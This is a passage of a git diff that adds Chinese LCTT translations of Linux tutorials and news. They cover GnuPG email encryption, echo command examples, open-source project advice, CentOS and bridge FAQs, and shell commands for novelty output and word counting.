+也有许多加密电子邮件服务声称可以保护你的隐私.认真阅读细则,查看红色标注的地方,比如受限的用户数据采集,与好友分享,与执法部门的合作等.这些条款暗示它们会收集和共享用户数据,拥有权限获取你的加密秘钥,并读取你的消息. + +### Linux邮件客户端 ### + +一款独立的开源邮件客户端,比如, Mutt, Claws, Evolution, Sylpheed和Alpine,可建立你自己控制的GnuPG秘钥,给你大部分的保护.(建立更安全的电子邮件和Web浏览的最容易的方式是运行TAILS live的Linux发行版.详情查看[通过 Tor、TAILS 和 Debian 在网上保护你自己][8]。) + +无论你使用的是TAILS还是一款标准Linux发行版,管理GnuPG的方法是相同的,所以下面来学习如何使用GnuPG加密消息. + +### 使用GnuPG ### + +首先,熟悉一下相关术语。OpenPGP是一种开放的电子邮件加密和认证协议,基于菲利普·齐默曼的Pretty Good Privacy (PGP)。GNU Privacy Guard (GnuPG or GPG)是OpenPGP的GPL实现。GnuPG使用对称公钥加密算法,也就是说会生成一对密钥:一个任何人都可以用来加密发送给你的消息的公钥和一个只有你自己拥有用来解密消息的的私钥。GnuPG执行两个分开的函数:数字化签名消息以证明消息来自你和加密消息。任何人都可以读到你的数字签名消息,但只有那些与你交换密钥的人才可以读取加密消息。切记千万不要与他人分享你的密钥!只能分享公钥。 + +Seahorse是GnuPG对应的GNOME图形化前端,KGpg是KDE图形化的GnuPG工具。 + +现在我们执行生成和管理GunPG密钥的基本步骤。这个命令生成一个新的密钥: + + $ gpg --gen-key + +这个过程有许多步骤;对于大部分人来说,只需要回答所有的问题,遵循默认设置就好。当你生成你的密钥时,记下来并将其保存在一个安全的地方,因为如果你丢掉了它,你就不能解密任何消息了。**任何关于不要写下密码的建议都是错误的。**我们中的大部分人要记住许多登录名和密码,包括那些我们几乎从来不会用到的,所以全部记住它们是不现实的。你知道当人们不写下他们的密码时会发生什么吗?**他们会选择生成简单的密码并不断重复使用。**你存储在电脑里的任何东西都潜在地会被攻击窃取;一个保存在上锁的柜子里的小本是无法通过渗透获取的,除了物理的入侵,当然入侵者要知道如何去寻找它。 + +我必须叮嘱你们去弄清楚如何使用新密钥去配置邮件客户端,因为每一个都不同。你可以按照如下操作列出你的密钥: + + $ gpg --list-keys + /home/carla/.gnupg/pubring.gpg + ------------------------------ + pub 2048R/587DD0F5 2014-08-13 + uid Carla Schroder (my gpg key) + sub 2048R/AE05E1E4 2014-08-13 + +这能快速地获知像密钥的位置、名称(也就是UID)等必要信息。假设你想要把公钥上传到密钥服务器,可以参考实例操作: + + $ gpg --send-keys 'Carla Schroder' --keyserver http://example.com + +当你生成了一个新的密钥要上传到公钥服务器,你也应该生成一个撤销证书。不要推迟到以后做———当你生成新密钥时就生成它。你可以给它取任意的名称,比如使用一个像mycodeproject.asc的描述性名称来代替revoke.asc: + + $ gpg --output revoke.asc --gen-revoke 'Carla Schroder' + +如果你的密钥变得不可靠了,你可以通过向keyring导入撤销证书来撤销它: + + $ gpg --import ~/.gnupg/revoke.asc + +然后生成并上传一个新的密钥来取代它。当它们更新到密钥数据库时,所有使用旧密钥的用户都会被通知。 + +你必须像保护私钥一样保护撤销证书。将它拷贝到CD或USB存储器中,并加锁,然后从电脑中删除。这是明文密钥,所以你甚至可以将它打印出来。 + +如果你需要一份复制粘贴的密钥,比如在允许将密钥粘贴到网页表格中的公用keyring中,或者是想将公钥发布到个人站点上,那么你必须生成一份公钥的ASCII-armored版本: + + $ gpg --output carla-pubkey.asc --export -a 'Carla Schroder' + +这会生成可见的明文公钥,就像下面这个小例子: + + -----BEGIN PGP PUBLIC KEY BLOCK----- + Version: GnuPG v1 + mQENBFPrn4gBCADeEXKdrDOV3AFXL7QQQ+i61rMOZKwFTxlJlNbAVczpawkWRC3l + IrWeeJiy2VyoMQ2ZXpBLDwGEjVQ5H7/UyjUsP8h2ufIJt01NO1pQJMwaOMcS5yTS + [...] + I+LNrbP23HEvgAdNSBWqa8MaZGUWBietQP7JsKjmE+ukalm8jY8mdWDyS4nMhZY= + =QL65 + -----END PGP PUBLIC KEY BLOCK----- + +相信上面的教程应该使你学会如何使用GnuPG。如果不够,[The GnuPG manuals][9]上有使用GnuPG和相关全部配置的详细信息。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/784165-how-to-encrypt-email-in-linux + +作者:[Carla Schroder][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/component/ninjaboard/person/3734 +[1]:http://www.openpgp.org/members/gnupg.shtml +[2]:https://www.torproject.org/ +[3]:https://www.virtru.com/ +[4]:https://www.safemess.com/ +[5]:http://retroshare.sourceforge.net/ +[6]:http://retroshare.sourceforge.net/ +[7]:https://protonmail.ch/ +[8]:http://www.linux.com/learn/docs/718398-protect-yourself-online-with-tor-+tails-and-debian +[9]:https://www.gnupg.org/documentation/manuals.html diff --git a/published/201410/20140822 15 Practical Examples of 'echo' command in Linux.md b/published/201410/20140822 15 Practical Examples of 'echo' command in Linux.md new file mode 100644 index 0000000000..b5898209e7 --- /dev/null +++ b/published/201410/20140822 15 Practical Examples of 'echo' command in Linux.md @@ -0,0 +1,222 @@ +Linux中的15个‘echo’ 命令实例 +================================================================================ +**echo**是一种最常用的与广泛使用的内置于Linux的bash和C shell的命令,通常用在脚本语言和批处理文件中来在标准输出或者文件中显示一行文本或者字符串。 + +![echo command examples](http://www.tecmint.com/wp-content/uploads/2014/08/echo-command.png) + +echo命令例子 + +echo命令的语法是: + + echo [选项] [字符串] + +###**1.** 输入一行文本并显示在标准输出上 + + $ echo Tecmint is a community of Linux Nerds + +会输出下面的文本: + + Tecmint is a community of Linux Nerds + +###**2.** 输出一个声明的变量值 + +比如,声明变量**x**并给它赋值为**10**。 + + $ x=10 + +会输出它的值: + + $ echo The value of variable x = $x + + The value of variable x = 10 + + +###**3.** 使用‘**\b**‘选项 + +‘**-e**‘后带上'\b'会删除字符间的所有空格。 + +**注意:** Linux中的选项‘**-e**‘扮演了转义字符反斜线的翻译器。 + + $ echo -e "Tecmint \bis \ba \bcommunity \bof \bLinux \bNerds" + + TecmintisacommunityofLinuxNerds + +###**4.** 使用‘**\n**‘选项 + +‘**-e**‘后面的带上‘\n’行会在遇到的地方作为新的一行 + + $ echo -e "Tecmint \nis \na \ncommunity \nof \nLinux \nNerds" + + Tecmint + is + a + community + of + Linux + Nerds + +###**5.** 使用‘**\t**‘选项 + +‘**-e**‘后面跟上‘\t’会在空格间加上水平制表符。 + + $ echo -e "Tecmint \tis \ta \tcommunity \tof \tLinux \tNerds" + + Tecmint is a community of Linux Nerds + +###**6.** 也可以同时使用换行‘**\n**‘与水平制表符‘**\t**‘ + + $ echo -e "\n\tTecmint \n\tis \n\ta \n\tcommunity \n\tof \n\tLinux \n\tNerds" + + Tecmint + is + a + community + of + Linux + Nerds + +###**7.** 使用‘**\v**‘选项 + +‘**-e**‘后面跟上‘\v’会加上垂直制表符。 + + $ echo -e "\vTecmint \vis \va \vcommunity \vof \vLinux \vNerds" + + Tecmint + is + a + community + of + Linux + Nerds + +###**8.** 也可以同时使用换行‘**\n**‘与垂直制表符‘**\v**‘ + + $ echo -e "\n\vTecmint \n\vis \n\va \n\vcommunity \n\vof \n\vLinux \n\vNerds" + + + Tecmint + + is + + a + + community + + of + + Linux + + Nerds + +**注意:** 你可以按照你的需求连续使用两个或者多个垂直制表符,水平制表符与换行符。 + +###**9.** 使用‘**\r**‘选项 + +‘**-e**‘后面跟上‘\r’来指定输出中的回车符。(LCTT 译注:会覆写行开头的字符) + + $ echo -e "Tecmint \ris a community of Linux Nerds" + + is a community of Linux Nerds + +###**10.** 使用‘**\c**‘选项 + +‘**-e**‘后面跟上‘\c’会抑制输出后面的字符并且最后不会换新行。 + + $ echo -e "Tecmint is a community \cof Linux Nerds" + + Tecmint is a community @tecmint:~$ + +###**11.** ‘**-n**‘会在echo完后不会输出新行 + + $ echo -n "Tecmint is a community of Linux Nerds" + Tecmint is a community of Linux Nerds@tecmint:~/Documents$ + +###**12.** 使用‘**\a**‘选项 + +‘**-e**‘后面跟上‘\a’选项会听到声音警告。 + + $ echo -e "Tecmint is a community of \aLinux Nerds" + Tecmint is a community of Linux Nerds + +**注意:** 在你开始前,请先检查你的音量设置。 + +###**13.** 使用echo命令打印所有的文件和文件夹(ls命令的替代) + + $ echo * + + 103.odt 103.pdf 104.odt 104.pdf 105.odt 105.pdf 106.odt 106.pdf 107.odt 107.pdf 108a.odt 108.odt 108.pdf 109.odt 109.pdf 110b.odt 110.odt 110.pdf 111.odt 111.pdf 112.odt 112.pdf 113.odt linux-headers-3.16.0-customkernel_1_amd64.deb linux-image-3.16.0-customkernel_1_amd64.deb network.jpeg + +###**14.** 打印制定的文件类型 + +比如,让我们假设你想要打印所有的‘**.jpeg**‘文件,使用下面的命令。 + + $ echo *.jpeg + + network.jpeg + +###**15.** echo可以使用重定向符来输出到一个文件而不是标准输出 + + $ echo "Test Page" > testpage + + ## Check Content + avi@tecmint:~$ cat testpage + Test Page + +### echo 选项列表 ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
选项 描述
-n 不输出末尾的换行符。
-e 启用反斜线转义。
\b 退格
\\ 反斜线
\n 新行
\r 回车
\t 水平制表符
\v 垂直制表符
+ +就是这些了,不要忘记在下面留下你的反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/echo-command-in-linux/ + +作者:[Avishek Kumar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ \ No newline at end of file diff --git a/published/201410/20140822 Want To Start An Open Source Project--Here's How.md b/published/201410/20140822 Want To Start An Open Source Project--Here's How.md new file mode 100644 index 0000000000..b670b904fe --- /dev/null +++ b/published/201410/20140822 Want To Start An Open Source Project--Here's How.md @@ -0,0 +1,107 @@ +如何开始一个开源项目 +================================================================================ +> 循序渐进的指导 + +**你有这个问题**:你已经权衡了[开源代码的优劣势][1],你也已经知道[你的软件需要成为一个开源项目][2],但是,你不知道怎么做好的开源项目。 + +当然,你也许已经知道[如何创建Github帐号并开始][3],但是这些事实上是做开源比较简单的部分。而真真正正难的部分是如何让足够多的人,关注你的项目并给你的项目做贡献。 + +![](http://a4.files.readwrite.com/image/upload/c_fit,q_80,w_630/MTE5NDg0MDYxMTg2Mjk1MzEx.jpg) + +接下来的原则是会指导你构建和发布其他人愿意关注的代码。 + +### 基本原则 ### + +选择开源可能有许多原因。也许你希望吸引一个社区来帮助编写你的代码。也许,[总所周知][4],你明白“开源 —— 一个开发小团队内部编写代码的倍增器。” + +或者你只是认为这是必须做的事,[如同英国政府一样][5]。 + +无论何种原因,为了开源能够成功,是必须要做很多的计划去给将来使用这个软件的人们。如同[我在2005写道][6],如果你“需要大量的人做贡献(bug修复,扩展等等)”,那么你需要“写一个好的文档,使用易于接受的编程语言,和使用模型架构”。 + +对了,你也需要写人们在乎的软件。 + +每天思考你依靠的技术:操作系统,web应用框架,数据库,等等。远离像航天这样,特殊行业的小生态技术,让开源拥有更多的可能性以便外部的(人的)产生兴趣和做出贡献。更广泛的应用技术,找到更多的贡献者和用户。 + +总的来说,任何成功的开源项目有以下共同点: + +1.最佳的时间时机(解决市场实际需求) + +2.一个健壮,包括开发者和非开发者的团队 + +3.一个易于参与的结构(更多详见下文) + +4.模块化编码,使新贡献者更容易找到一个项目损坏的部分去贡献,比强迫他们理解巨大的代码的每一部分要好 + +5.代码可以广泛应用(或者达到一个狭窄的流行都比一个“自生自灭的”小生态更吸引人) + +6.很好初始源码(如果你放垃圾在Github,你也只会得到垃圾回报) + +7.一个自由的许可证-我[个人更爱Apache型的许可证][7],因为它让开发者采用时障碍最低,当然许多成功的项目(如Linux和MySQL)使用GPL许可证也有很棒的效果。 + +上述几项,是一个项目成功邀请参与者最难的部分。这是因为他们不是关于代码而是关于人。 + +### 开源不单是一个许可证 ### + +今年,最棒的一件事是我读到是来自 Vitorio Miliano ([@vitor_io][8])的文章,他是用户体验交互设计师,来自德州的奥斯丁。[Miliano][9]指出,那些不在你的项目上工作的人才是“外行”,从本质上说无论他们技术能力的级别,他们仅仅懂一点代码(也没关系)。 + +所以你的工作,他认为,是使人加入,为你贡献你的代码变得简单。当阐述如何涉及非程序员到开源项目中,他指出项目的一些事项,项目领导应需要有效地得加入一些任何技术或不懂技术的人到开源项目。 + +> 1. 一种方法去了解你的项目价值 +> +> 2. 一种方法去了解他们可以为项目提供的价值 +> +> 3. 一种方法去了解他们可以从贡献代码获得的价值 +> +> 4. 一种方法去了解贡献流程,端到端 +> +> 5. 贡献机制适用于现有的工作流 + +经常,项目领导者想要集中于上述的第五步,却不提供理解1到4的路径。如果潜在的贡献者不欣赏“为什么”,“如何”共享就变得不重要了。 + +注意,至关重要的,Miliano写道,建立拥有一个通俗易懂的简介的项目很有价值,如同任何时候通过简介给每一个人演示可访问性和包容性。他断言道,这增加了额外的好处,文档和其他的版本介绍的内容变得通俗易懂。 + +关于第二点,程序员或非程序员同样地需要能够明白到底你需要什么,这样他们就可以认识到他们的贡献(方向)。有时就像MongoDB解决方案架构师[Henrik Ingo告诉我][10]那样,"一个聪明的人可以贡献很棒的代码,但是项目成员不能理解它(代码)",如果在组织内承认这个贡献并且研究后理解,那么这就不是一个糟糕的问题。 + +但是不会经常发生。 + +### 你真的想领导一个开源项目吗? ### + +许多开源项目的领导提倡包容性,但是他们拥有任何事除了包容。如果你不想要人们做贡献,不要假装开源。 + +是的,有时这是老生常谈的话题。就像HackerNews最近的报道[一个开发者的开发工作][11]。 + +> 小项目可以得到很多,基本不需要很多人合作来完成。我看到了他们的进步,但是我没有看到我自己的进步:如果我帮助了他们,显然,如果我花费了有限的时间在与那些计算机科学的硕士管理合作上,而没有参与编码,这不是我想要的。所以我忽略了他们。 + +这是一个保持理智的的好方法,但这个态度并不能预示着这个项目会被广阔的分享。 + +如果你确实很少关心非程序员设计的贡献、文档,或者无论其他什么,那么请首先了解那些。再次强调,如果这是实情,你的项目就不能成为一个开源项目。 + +当然,排除感觉不总是可靠的。 就像ActiveState的副总裁Bernard Golden告诉过我,“一些将会成为开发人员将会对现有的“小集团”开发团体这种感觉感到恐惧,虽然这不一定正确。” + +现在,若使了解开发人员为什么要贡献并邀请做开发,意味着更多的开源项目投资,更长久地生存。 + +图片由[Shutterstock][12]提供 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/08/20/open-source-project-how-to + +作者:[Matt Asay][a] +译者:[Vic___/VicYu](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/matt-asay +[1]:http://readwrite.com/2014/07/07/open-source-software-pros-cons +[2]:http://readwrite.com/2014/08/15/open-source-software-business-zulily-erp-wall-street-journal +[3]:http://www.cocoanetics.com/2011/01/starting-an-opensource-project-on-github/ +[4]:http://werd.io/2014/the-roi-of-building-open-source-software +[5]:https://www.gov.uk/design-principles +[6]:http://asay.blogspot.com/2005/09/so-you-want-to-build-open-source.html +[7]:http://www.cnet.com/news/apache-better-than-gpl-for-open-source-business/ +[8]:https://twitter.com/vitor_io +[9]:http://opensourcedesign.is/blogging_about/import-designers/ +[10]:https://twitter.com/h_ingo/status/501323333301190656 +[11]:https://news.ycombinator.com/item?id=8122814 +[12]:http://www.shutterstock.com/ diff --git a/published/201410/20140825 Linux FAQs with Answers--How to install Shutter on CentOS.md b/published/201410/20140825 Linux FAQs with Answers--How to install Shutter on CentOS.md new file mode 100644 index 0000000000..2f84ed9a8d --- /dev/null +++ b/published/201410/20140825 Linux FAQs with Answers--How to install Shutter on CentOS.md @@ -0,0 +1,23 @@ +Linux有问必答:如何在CentOS上安装Shutter +================================================================================ +> **问题**:我想要在我的CentOS桌面上试试Shutter屏幕截图程序,但是,当我试着用yum来安装Shutter时,它总是告诉我“没有shutter包可用”。我怎样才能在CentOS上安装Shutter啊? + +[Shutter][1]是一个用于Linux桌面的开源(GPLv3)屏幕截图工具。它打包有大量用户友好的功能,这让它成为Linux中功能最强大的屏幕截图程序之一。你可以用Shutter来捕捉一个规则区域、一个窗口、整个桌面屏幕、或者甚至是来自任意专用地址的一个网页的截图。除此之外,你也可以用它内建的图像编辑器来对捕获的截图进行编辑,应用不同的效果,将图像导出为不同的图像格式(svg,pdf,ps),或者上传图片到公共图像主机或者FTP站点。 + +Shutter 在 CentOS (截止至版本 7)上没有预先构建好的软件包。幸运的是,有一个第三方提供的叫做 Nux Dextop 的 RPM 中提供了 Shutter 软件包。 所以在 CentOS 上[启用 Nux Dextop 软件库][2],然后使用下列命令来安装它: + + $ sudo yum --enablerepo=nux-dextop install shutter + +![](https://farm4.staticflickr.com/3876/14986638615_6501a68527_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-shutter-centos.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://shutter-project.org/ +[2]:http://linux.cn/article-3889-1.html diff --git a/published/201410/20140825 Linux FAQs with Answers--How to show a MAC learning table of Linux bridge.md b/published/201410/20140825 Linux FAQs with Answers--How to show a MAC learning table of Linux bridge.md new file mode 100644 index 0000000000..53a448b51f --- /dev/null +++ b/published/201410/20140825 Linux FAQs with Answers--How to show a MAC learning table of Linux bridge.md @@ -0,0 +1,23 @@ +Linux有问必答:如何显示Linux网桥的MAC学习表 +================================================================================ + +> **问题**:我想要检查一下我用brctl工具创建的Linux网桥的MAC地址学习状态。请问,我要怎样才能查看Linux网桥的MAC学习表(或者转发表)? + +Linux网桥是网桥的软件实现,这是Linux内核的内核部分。与硬件网桥相类似,Linux网桥维护了一个2层转发表(也称为MAC学习表,转发数据库,或者仅仅称为FDB),它跟踪记录了MAC地址与端口的对应关系。当一个网桥在端口N收到一个包时(源MAC地址为X),它在FDB中记录为MAC地址X可以从端口N到达。这样的话,以后当网桥需要转发一个包到地址X时,它就可以从FDB查询知道转发到哪里。构建一个FDB常常称之为“MAC学习”或仅仅称为“学习”过程。 + +你可以使用以下命令来检查Linux网桥当前转发表或MAC学习表。 + + $ sudo brctl showmacs + +![](https://farm4.staticflickr.com/3856/14963353726_8971873948_z.jpg) + +该命令将显示一个学习到的MAC地址与关联端口的列表。各个条目都有一个相关的附于其上的老化计时器,因此转发条目可以在一定时间后刷新,以使MAC学习表更新到最新。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/show-mac-learning-table-linux-bridge.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140826 Linus Torvalds Promotes Linux for Desktops, Embedded Computing.md b/published/201410/20140826 Linus Torvalds Promotes Linux for Desktops, Embedded Computing.md new file mode 100644 index 0000000000..4e7ac1dbc1 --- /dev/null +++ b/published/201410/20140826 Linus Torvalds Promotes Linux for Desktops, Embedded Computing.md @@ -0,0 +1,31 @@ +Linus Torvalds 希望推动Linux在桌面和嵌入式计算方面共同发展 +================================================================================ +> Linux的内核开发者和开源领袖Linus Torvalds前一段时间表达了关于Linux桌面和嵌入式设备中Linux的未来的看法。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2014/08/linus-torvalds-1.jpg) + +什么是Linux桌面和嵌入式设备中Linux的未来?这是个值得讨论的问题,不过Linux的创始人和开源巨人Linus Torvalds在最近一届 [Linux 基金会][1] 的LinuxCon大会上,在一次对话中表达了一些有趣的观点。 + +作为敲出第一版Linux内核代码并且在1991年将它们共享在互联网上的家伙,Torvalds毫无疑问是开源软件甚至是所有软件中最著名的开发者,如今他依然活跃在其中。在此期间,Torvalds是许多人和组织中唯一一个引领着Linux发展的个体,它的观点往往能影响着开源社区,而且,作为一个内核开发者的角色赋予了他能决定哪些特点和代码能被放进操作系统内部的强大权利。 + +所以说,关注Torvalds所说的话是很值得的, "我还是挺想要桌面的。" [他在上月的LinuxCon大会上这样说道][2] 那表明他仍然着眼于作为使PC更加强大的操作系统Linux的未来,尽管十年来Linux桌面市场的份额一直很少,而且大部分围绕Linux的商业活动都去涉及服务器或者安卓手机去了。 + +但是,Torvalds还说,确保Linux桌面能有个宏伟的未来意味着解决了受阻的 “基础设施问题”,庞大的开源软件生态系统和硬件世界让他充满信心。这不是Linux核心代码本身的问题,而是要让Linux桌面渠道友好,这可能是伟大的Torvalds和他开发同伴们所需要花精力去达到的目标。这取决于app的开发者、硬件制造商和其它有志于实现人们能方便使用基于Linux的计算平台的各方力量。 + +另一方面,Torvalds也提到了他的憧憬,就是内核开发者们能简化嵌入式装置中的Linux代码——这也许和让Linux内核更加桌面友好化的任务有所分歧。但这也不一定,因为无论如何,Linux都是以模块化设计的,单内核代码库不能同时满足桌面用户和嵌入式开发者的需求,这是没有道理的,因为这取决于他们使用的模块。 + +作为一个一直想看到更多搭载Linux的嵌入式设备出现的Linux桌面用户,我希望Torvalds的所有愿望都可以实现,到那时我就可以只用Linux来做所有我想做的事情,无论是在电脑桌面上、手机上、车上,或者是任何其它的地方。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/082514/linus-torvalds-promotes-linux-desktops-and-embedded-compu + +作者:[Christopher Tozzi][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://thevarguy.com/author/christopher-tozzi +[1]:http://linuxfoundation.org/ +[2]:http://www.eweek.com/enterprise-apps/linux-founder-linus-torvalds-still-wants-the-desktop.html diff --git "a/published/201410/20140829 6 Interesting Funny Commands of Linux (Fun in Terminal) \342\200\223 Part II.md" "b/published/201410/20140829 6 Interesting Funny Commands of Linux (Fun in Terminal) \342\200\223 Part II.md" new file mode 100644 index 0000000000..8cce36ecbb --- /dev/null +++ "b/published/201410/20140829 6 Interesting Funny Commands of Linux (Fun in Terminal) \342\200\223 Part II.md" @@ -0,0 +1,116 @@ +终端中的乐趣:6个有趣的Linux命令行工具 +================================================================================ +之前, 我们展示了一些有关有趣的 Linux 命令行命令的文章, 这些文章告诉我们, Linux 并不像看起来那样复杂, 如果我们知道如何使用的话, 反而会非常有趣. Linux 命令行可以简洁而完美地执行一些复杂的任务, 并且十分有趣. + +- [Linux命令及Linux终端的20个趣事][3] +- [Linux终端的乐趣之把玩字词计数][2] + +![Funny Linux Commands](http://www.tecmint.com/wp-content/uploads/2014/08/Funny-Linux-Commands.png) + +*有趣的 Linux 命令* + +前者包含了20个有趣的 Linux 命令/脚本(和子命令), 得到了读者的高度赞扬. 而另一篇文章虽然没有之前那篇文章那么受欢迎,包含了一些命令/脚本和改进,让你能够玩儿转文本文件、单词和字符串. + +这篇文章介绍了一些新的有趣命令和单行脚本,一定会让你感到欣喜. + +### 1. pv 命令 ### + +你也许曾经看到过电影里的模拟字幕, 它们好像是被实时敲打出来的. 如果我么能在终端里实现这样的效果, 那不是很好? + +这是可以做到的. 我们可以安装通过 '**apt**' 或者 '**yum**' 工具在 Linux 系统上安装 '**pv**' 命令. 安装命令如下. + + # yum install pv [在基于 RedHat 的系统上] + + # sudo apt-get install pv [在基于 Debian 的系统上] + +'**pv**' 命令安装成功之后, 我们尝试运行下面的单行命令在终端查看实时文字输出的效果. + + $ echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10 + +![pv command in action](http://www.tecmint.com/wp-content/uploads/2014/08/pv-command.gif) + +*正在运行的 pv 命令* + +**注意**: '**q**' 选项表示'安静',没有其他输出信息, '**L**' 选项表示每秒转化的字节数上限. 调整数字的值(必须是整数)可以以另外的方向显示文字效果。 + +### 2. toilet 命令 ### + +用单行脚本命令 '**toilet**' 在终端里显示一个添加边框的文本怎么样呢?同样, 你必须保证 '**toilet**' 已经安装在你的电脑上. 如果没有的话, 请使用 apt 或 yum 安装. (译者注: 'toilet' 并不在 Fedora 的官方仓库里, 你可以从 github 上下载源代码来安装) + + $ while true; do echo “$(date | toilet -f term -F border –Tecmint)”; sleep 1; done + +![toilet command in action](http://www.tecmint.com/wp-content/uploads/2014/08/toilet-command.gif) + +*正在运行的 toilet 命令* + +**注意**: 上面的脚本需要使用 **ctrl+z** 键来暂停. + +### 3. rig 命令 ### + +这个命令每次生成一个随机的身份信息和地址. 要运行这个命令, 你需要用 apt 或 yum 安装 '**rig**'. (译者注: 'rig' 不在 Fedora 的官方仓库中, 我只在 rpmseek 上找到了 Ubuntu 的 deb 包, 可以使用它来安装.) + + # rig + +![rig command in action](http://www.tecmint.com/wp-content/uploads/2014/08/rig-command.gif) + +*正在运行的 rig 命令* + +### 4. aview 命令 ### + +你觉得在终端用 ASCII 格式显示图片怎么样? 我们必须用 apt 或 yum 安装软件包 '**aview**'. (译者注: 'avieww' 不在 Fedora 的官方仓库中, 可以从 aview 的[项目主页][4]上下载源代码来安装. ) 在当前工作目录下有一个名为 '**elephant.jpg**' 的图片, 我想用 ASCII 模式在终端查看. + + $ asciiview elephant.jpg -driver curses + +![aview command in action](http://www.tecmint.com/wp-content/uploads/2014/08/elephant.gif) + +*正在运行的 aview 命令* + +### 5. xeyes 命令 ### + +在上一篇文章中, 我们介绍了 '**oneko**' 命令, 它可以显示一个追随鼠标指针运动的小老鼠. '**xeyes**' 是一个类似的图形程序, 当你运行它, 你可以看见小怪物的两个眼球追随你的鼠标运动. + + $ xeyes + +![xeyes command in action](http://www.tecmint.com/wp-content/uploads/2014/08/xeyes.gif) + +*正在运行的 xeyes 命令* + +### 6. cowsay 命令 ### + +你是否还记得上一次我们介绍的这个命令? 它可以显示一段预先确定的文本和一个字符构成的奶牛. 如果你想使用其它动物来代替奶牛怎么办? 查看可用的动物列表: + + $ cowsay -l + +如何用ASCII描绘蛇吞象? + + $ cowsay -f elephant-in-snake Tecmint is Best + +![cowsay command in action](http://www.tecmint.com/wp-content/uploads/2014/08/cowsay.gif) + +*正在运行的 cowsay 命令* + +换作山羊又会怎样? + + $ cowsay -f gnu Tecmint is Best + +![cowsay goat in action](http://www.tecmint.com/wp-content/uploads/2014/08/cowsay-goat.gif) + +*正在运行的 山羊cowsay 命令* + +今天就到这里吧. 我将带着另一篇有趣的文章回来. 不要忘记在下面留下您的评论. + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-funny-commands/ + +作者:[Avishek Kumar][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/20-funny-commands-of-linux-or-linux-is-fun-in-terminal/ +[2]:http://linux.cn/article-4088-1.html +[3]:http://linux.cn/article-2831-1.html +[4]:http://aa-project.sourceforge.net/aview/ diff --git a/published/201410/20140829 Fun in Linux Terminal--Play with Word and Character Counts.md b/published/201410/20140829 Fun in Linux Terminal--Play with Word and Character Counts.md new file mode 100644 index 0000000000..5051c3c46d --- /dev/null +++ b/published/201410/20140829 Fun in Linux Terminal--Play with Word and Character Counts.md @@ -0,0 +1,174 @@ +Linux终端的乐趣之把玩字词计数 +================================================================================ +Linux 命令行有很多的乐趣,我们可以很容易并且完善地执行很多繁琐的任务。比如,我们计算一个文本文件中字和字符的出现频率,这就是我们打算在这篇文章中讲到的。 + +立刻来到我们脑海的命令,计算字和字符在一个文本文件中出现频率的 Linux 命令是 [wc 命令] [1]。 + +![Fun with Word and Letter Counts in Shell](http://www.tecmint.com/wp-content/uploads/2014/03/Linux-Word-Count.png) + +在使用的脚本来分析文本文件之前,我们必须有一个文本文件。为了保持一致性,我们将创建一个文本文件,man命令的输出如下所述。 + + $ man man > man.txt + +以上命令是将man命令的使用方式导入到**man.txt**文件里。 + +我们希望能得到最平常的单词,对之前我们新建的文件执行如下脚本。 + + $ cat man.txt | tr ' ' '\012' | tr '[:upper:]' '[:lower:]' | tr -d '[:punct:]' | grep -v '[^a-z]' | sort | uniq -c | sort -rn | head + +### Sample Output ### + + 7557 + 262 the + 163 to + 112 is + 112 a + 78 of + 78 manual + 76 and + 64 if + 63 be + +上面的脚本,输出了最常使用的十个单词。 + +如何看单个的字母呢?那就用如下的命令。 + + $ echo 'tecmint team' | fold -w1 + +### Sample Output ### + + t + e + c + m + i + n + t + t + e + a + m + +**注**: `-w1`只是设定了长度 + +现在我们将从那个文本文件中掰下来的每一个字母,对结果进行排序,得到所需的输出频率的十个最常见的字符。 + + $ fold -w1 < man.txt | sort | uniq -c | sort -rn | head + +### Sample Output ### + + 8579 + 2413 e + 1987 a + 1875 t + 1644 i + 1553 n + 1522 o + 1514 s + 1224 r + 1021 l + +如何区分大小写呢?之前我们都是忽略大小写的。所以,用如下命令。 + + $ fold -w1 < man.txt | sort | tr '[:lower:]' '[:upper:]' | uniq -c | sort -rn | head -20 + +### Sample Output ### + + 11636 + 2504 E + 2079 A + 2005 T + 1729 I + 1645 N + 1632 S + 1580 o + 1269 R + 1055 L + 836 H + 791 P + 766 D + 753 C + 725 M + 690 U + 605 F + 504 G + 352 Y + 344 . + 